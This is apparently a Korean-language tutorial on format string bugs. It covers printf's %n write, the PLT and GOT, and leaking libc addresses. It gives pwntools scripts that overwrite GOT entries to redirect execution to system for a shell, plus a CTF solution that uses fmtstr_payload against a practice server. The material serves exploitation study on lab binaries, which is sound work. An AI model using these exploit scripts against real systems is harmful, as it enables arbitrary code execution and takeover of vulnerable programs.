int main(void) {
char buf[100];
gets(buf);
printf(buf);
}
int main(void) {
char buf[100];
gets(buf);
printf(buf); // bug!!
}
%[parameter][flags][width][.precision][length]type
%[parameter][flags][width][.precision][length]type
int main() {
printf("%3$d", 1, 2, 3); // 3
printf("%0$s"); // %0$s
}
%[parameter][flags][width][.precision][length]type
%[parameter][flags][width][.precision][length]type
%[parameter][flags][width][.precision][length]type
%[parameter][flags][width][.precision][length]type
%[parameter][flags][width][.precision][length]type
int main() {
int n = 0;
printf("%100c%n", 65, &n);
printf("\n%d", n); // 100
}
대부분 fsb를 활용한 공격은 got를 덮어서 다른 함수를 호출하게 한다.
plt와 got를 이해할 필요가 있다.
printf 호출 -> printf@plt -> jmp printf@got -> libc_printf
과정은 생략하고 대충 plt를 호출하면 got로 가는데 got에 libc printf 주소가 적혀있다고 보면 된다.
- GOT에는 주소가 저장되어 있다. (plt+6의 주소 or 실제 함수의 주소)
- PLT에는 코드가 저장되어 있다. (GOT로 점프하는 코드!)
- 흐름에 맞게 GOT에는 원래 GOT에 있던값이, PLT에는 원래 PLT에 있던 값이 있어야 한다. (반드시 그런건 아니지만, 흐름상 그렇다.)
출처: https://bbolmin.tistory.com/75 [bbolmin]
int main() {
int *printf_got;
printf_got = 0x0804A00C;
printf("%3031c%n", 65, printf_got);
printf("\n%d", n); // 100
}
그럼 printf(buf);
와 같은 코드에서
parameter를 이용해서 원하는 주소에
원하는 값을 쓸 수 있다.
FSB 페이로드는 다음과 같은 형태로 이뤄진다.
[서식 지정자...] [주소...]
[DEBUG] Sent 0x31 bytes:
00000000 25 38 63 25 ... 37 32 63 25 │%8c%│11$h│hn%1│72c%│
00000010 31 32 24 68 ... 31 33 24 68 │12$h│hn%9│77c%│13$h│
00000020 6e 61 61 61 ... 0d a0 04 08 │naaa│····│····│····│
00000030 0a │·│
그 이유는 주소에 0x00이 있으면 (ascii armor) 그 뒤를 포맷으로 인식하지 못하기 때문이다.
그러면 다음과 같은 코드가 있다고 가정
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char buf[500];
read(0, buf, 500);
printf(buf);
exit(0);
}
목표는 쉘을 따는 것!
분석은 스킵하고 바로 공격 시나리오로 들어갑시다.
$ ./fsb
AAAAAAAA %p %p %p %p %p %p %p %p
AAAAAAAA 0x19b2030 0x7f56518ab790 0x7f56518a98e0
0x19b2031 (nil) 0x4141414141414141
0x2520702520702520 0x2070252070252070
6번째에 4141... 이 나온다.
원래는 got에 plt+6의 주소에 들어가 있으므로 아래 두 byte만 바꾸어주면 된다.
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
p.sendline(pay)
p.interactive()
main이 계속 반복되는 것을 볼 수 있다.
메인이 시작할 때 breakpoint를 걸면 스택에 __libc_start_main+240이 있는 것을 볼 수 있다.
0x00007fffffffdee8│+0x0000: 0x00007ffff7a2d830
→ <__libc_start_main+240> mov edi, eax ← $rsp
%p를 사용해서 return 주소를 leak할 수 있다.
pause()를 건 뒤, gdb에서 return 주소를 찾아보면 +0x0418 __libc_start_main+240이 있다.
0x418 / 8 = 131, 오프셋 6을 포함한 %137$p로 값을 가져오면 주소를 알아낼 수 있다.
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
libc = e.libc
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
p.sendline(pay)
p.sendline("%37$p")
p.recvuntil("0x")
libc_start_main = int(p.recvline()[:-1], 16) - 240
libc_base = libc_start_main - libc.sym['__libc_start_main']
log.info("main: " + hex(libc_start_main))
log.info("libc base: " + hex(libc_base))
p.interactive()
마지막으로 printf를 system으로 바꿔주면 된다.
문제는 system의 주소를 바로 출력하면 길이가 너무 길어서 한세월이 걸리거나 IO가 터진다.
그래서 바이트를 짧게 끊어서 넣어주어야한다.
여기서 생각해 두어야 할 것은 printf는 이미 호출 된 상태여서 libc안에 있는 것을 가리킨다.
하위 3byte만 덮어주면 된다.
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
libc = e.libc
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
p.sendline(pay)
p.sendline("%37$p")
p.recvuntil("0x")
libc_start_main = int(p.recvline()[:-1], 16) - 240
libc_base = libc_start_main - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
log.info("main: " + hex(libc_start_main))
log.info("libc base: " + hex(libc_base))
log.info("system: " + hex(system))
log.info("printf@got: " + hex(e.got['printf']))
system1 = (system & 0xffff0000) >> 16
system2 = system & 0xffff
pay = "%" + str(system2) + "c"
pay += "%{0}$hn"
if system1 - system2 < 0:
pay += "%" + str(system1 - system2 + 0x10000) + "c"
else:
pay += "%" + str(system1 - system2) + "c"
pay += "%{1}$hn"
pay += "A" * (16 - len(pay) % 8)
pay = pay.format(len(pay) / 8 + 5, len(pay) / 8 + 6)
pay = pay[:len(pay) - len(pay) % 8]
pay += p64(e.got['printf']) + p64(e.got['printf'] + 2)
p.sendline(pay)
p.interactive()
이제 system 함수로 무엇이든지 할 수 있다.
다시 main으로 돌아왔을 때 /bin/sh을 치면 된다.
main함수에서 vuln함수를 호출
vuln에서는 fgets로 입력을 받고, snprintf로 저장한 후, 그것을 printf를 사용해서 출력
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
FSB가 가능한 부분이 두 군데 있다.
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
flag 함수로 쉘을 딸 수 있음
$ ./basic-fsb
input : AAAA %p %p %p
AAAA (nil) 0x41414141 0x20702520
offset: 2
이제는 pwntools에 있는 fmtstr_payload를 이용해서 해보겠다.
fmtstr_payload(offset, dict)
를 받는데,
dict에는 key가 덮을 주소, value가 덮을 값이 되게 만들면 된다.
from pwn import *
context(arch='i386', log_level='debug')
p = remote("ctf.j0n9hyun.xyz", 3002)
e = ELF("./basic_fsb")
payload = fmtstr_payload(2, {e.got['printf']: e.sym['flag']})
p.sendline(payload)
p.interactive()